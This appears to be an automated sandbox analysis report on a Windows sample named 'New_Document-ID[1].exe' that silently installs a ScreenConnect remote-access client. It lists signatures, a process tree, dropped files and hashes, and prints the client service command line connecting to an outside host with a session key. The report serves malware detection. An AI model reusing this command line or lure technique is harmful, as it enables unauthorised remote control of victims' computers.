Analysis

  • max time kernel
    139s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250619-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/08/2025, 20:42

General

  • Target
    New_Document-ID[1].exe
  • Size 5.4MB
  • Sample250815-zg7lssem21
  • SHA256 aae9aeae9cad1d3f39698f3e63f06ea1158d59ba9d076ce82591b21600ee91c3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\New_Document-ID[1].exe
    "C:\Users\Admin\AppData\Local\Temp\New_Document-ID[1].exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:720
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\1997c7c27940abd0\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5732
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 969F016A989777621EBB27F4103127DB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4032
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI759D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240613015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5976
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3808
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B7360D8B56D0FBF8C94128752BD44099
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3116
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9BDB0458E34BD1C0CD8326F6F1D348E8 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1304
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4892
    • C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=hn-sec.innocreed.com&p=8041&s=1188c027-a3ee-46f9-8780-94c199833b1b&k=BgIAAACkAABSU0ExAAgAAAEAAQC9HSKgLdunKyHoG1Pn%2ftLJO%2bihUiZikqEUkKQv8xLnFTBS4oZ9P4M27Q0SLJo3%2b5eNhL%2f7xF9DIPKMVsPM8cAQE1QLMSIPdSQztG91tur1k%2bJcovg%2b47BGHNeSzXgkdbFiOIoL1lMGN5GISi8%2fzu1X0idZluQH9rP4FaGdSvPH16ODZGeSRYPZeE94HuK8voNzp1uqJ4z%2fHHcZxhQK0MqYOQAPAvrnNd6nMKgzX%2b7Xs%2fxQ1lMLtFY7xRJu1gUIYOkNZFwjVCJVMwSLYymMeKsbU5LC1Z%2bPlnSh3nRA8yYReFLob2KWKi0cYzebkrqyL%2f1micg98tdMeTnJFi2O4YSw&c=3%2f19&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3284
      • C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.WindowsClient.exe" "RunRole" "f4cb2101-f6a4-4a1d-96d8-24acb0535aee" "User"
        2⤵
        • Executes dropped EXE
        PID:748

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57b49b.rbs

          • Path C:\Config.Msi\e57b49b.rbs
          • Size 214KB
          • SHA256 1f22821a382f7de27e51fd2b7fce9adae502166efd758d7a5522cc31192dc94b
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\app.config
          • Size 1KB
          • SHA256 ef631b7fa3f88ee88b26c540ff44e3ccc0d36aa93ccd558a8b3d04de4ded3395
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1997c7c27940abd0)\system.config
          • Size 950B
          • SHA256 ad8572a04585634bae4a234c06a66e361cc8c8861e01c19bd465f222e1c8fcd0
          • MD5 SHA1 SHA512

          MSI759D.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI759D.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI759D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI759D.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI759D.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI759D.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\1997c7c27940abd0\ScreenConnect.ClientSetup.msi
          • Size 9.5MB
          • SHA256 9d463eaf868a190dc2fd680b8d0f1bc997ac121b94387ab61fe1404ef5067237
          • MD5 SHA1 SHA512 SSDEEP

          MSIB612.tmp

          • Path C:\Windows\Installer\MSIB612.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 b44d2e324044af144cecf1c83dc630fa7a06c2461f7c2f090ab8033414909b5e
          • MD5 SHA1 SHA512 SSDEEP

          {c1f46e27-5a10-40b1-b2d8-3e09dcb09cf9}_OnDiskSnapshotProp

          • Path \??\Volume{228b2524-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c1f46e27-5a10-40b1-b2d8-3e09dcb09cf9}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 55150d5389bf1a4d8e87eb5a339b25f17f4760d187af40a751a9964135d1e0e5
          • MD5 SHA1 SHA512 SSDEEP

          memory/720-2-0x00000000052F0000-0x0000000005300000-memory.dmp

          memory/720-6-0x0000000005390000-0x000000000553A000-memory.dmp

          memory/720-1-0x0000000002CF0000-0x0000000002CF8000-memory.dmp

          memory/720-3-0x0000000005600000-0x00000000058F0000-memory.dmp

          memory/720-0-0x00000000052F0000-0x0000000005300000-memory.dmp

          memory/720-4-0x0000000005300000-0x000000000538C000-memory.dmp

          memory/720-8-0x00000000052F0000-0x0000000005300000-memory.dmp

          memory/720-5-0x0000000005290000-0x00000000052B2000-memory.dmp

          memory/720-7-0x0000000005EA0000-0x0000000006444000-memory.dmp

          memory/748-140-0x00000000000A0000-0x0000000000136000-memory.dmp

          memory/748-141-0x0000000000930000-0x0000000000966000-memory.dmp

          memory/748-146-0x0000000002120000-0x0000000002138000-memory.dmp

          memory/748-145-0x00000000008F0000-0x0000000000908000-memory.dmp

          memory/748-144-0x000000001B450000-0x000000001B5D6000-memory.dmp

          memory/748-143-0x000000001B2A0000-0x000000001B44A000-memory.dmp

          memory/748-142-0x000000001B060000-0x000000001B0EC000-memory.dmp

          memory/3284-129-0x0000000003C70000-0x0000000003D02000-memory.dmp

          memory/3284-99-0x0000000003620000-0x0000000003638000-memory.dmp

          memory/3284-128-0x0000000003B30000-0x0000000003B66000-memory.dmp

          memory/3284-124-0x0000000003B80000-0x0000000003BD0000-memory.dmp

          memory/3284-131-0x0000000003BD0000-0x0000000003C11000-memory.dmp

          memory/3284-133-0x0000000003E50000-0x0000000003F22000-memory.dmp

          memory/5976-34-0x0000000003250000-0x000000000325A000-memory.dmp

          memory/5976-42-0x00000000058D0000-0x0000000005A7A000-memory.dmp

          memory/5976-30-0x0000000003210000-0x000000000323E000-memory.dmp

          memory/5976-38-0x0000000005690000-0x000000000571C000-memory.dmp